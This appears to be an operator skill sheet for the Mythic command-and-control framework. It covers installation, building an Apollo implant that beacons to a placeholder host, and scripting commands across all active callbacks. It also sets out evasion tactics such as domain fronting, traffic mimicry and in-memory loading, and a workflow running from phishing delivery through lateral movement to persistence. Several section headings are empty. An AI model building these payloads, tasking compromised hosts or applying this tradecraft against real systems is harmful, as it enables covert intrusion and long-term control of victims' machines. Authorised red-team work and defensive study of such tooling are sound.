C2 Mythic

Mythic C2 Operator Skill

Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.

Setup (one-time, on the operator server)

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh        # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install

# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo     # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon   # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa     # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena     # cross-platform .NET 6

Agent matrix

Profile matrix

Profiles = the comms channel. An agent can use one or more profiles.

# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns

Build a payload (Apollo + http profile)

# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
  --name "stage1" \
  --description "Apollo http to op-server.com" \
  --agent Apollo \
  --c2_profile http \
  --c2_profile_parameter callback_host=https://op-server.com \
  --c2_profile_parameter callback_port=443 \
  --c2_profile_parameter encrypted_exchange_check=T \
  --c2_profile_parameter callback_interval=30 \
  --c2_profile_parameter callback_jitter=20 \
  --c2_profile_parameter killdate=2025-12-31 \
  --build_parameter version=net4.0 \
  --output_file stage1.exe

# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS

Tasking from the operator

Mythic provides:

• Web UI (callback view → click + task)
• mythic-cli scripting (Python wrapper)
• Direct GraphQL API at https://<host>:7443/v1/graphql

# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
    m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
    cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
    for cb in cbs:
        await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'

OPSEC defaults

• Profile encryption: HTTP profile uses encrypted_exchange_check by default — key derived via Diffie-Hellman after the initial connect. Don't disable.
• Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
• Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
• Build customization: Apollo's build config supports custom headers, paths, useragent — match the target's expected traffic pattern (Slack workspace? Use Slack-like headers).
• Module loading: prefer in-memory module loading (Apollo's load command) over dropping new files on disk.

Common workflow

1. Set up Mythic + profiles + agents (1 hr, one-time per engagement)
2. Stage redirector with HTTPS cert (CloudFront, nginx, ...)
3. Build payload(s) per target (1 per OS/objective)
4. Deliver via phish / exploit / pretext
5. On callback: 'whoami', 'hostname', 'pwd', 'ps' — basic survey
6. Network enumeration (token mimic, find-domain-controllers, etc.)
7. Lateral via SMB profile to peers — no new HTTP callbacks
8. Persistence after objective met
9. Clean up; teardown

Comparison vs Sliver / Cobalt Strike / Havoc

References

• Mythic docs — docs.mythic-c2.net
• Cody Thomas's "Introducing Mythic" blog series
• MythicAgents GitHub org — every official agent
• "OPSEC for Modern C2 Frameworks" — RTO recordings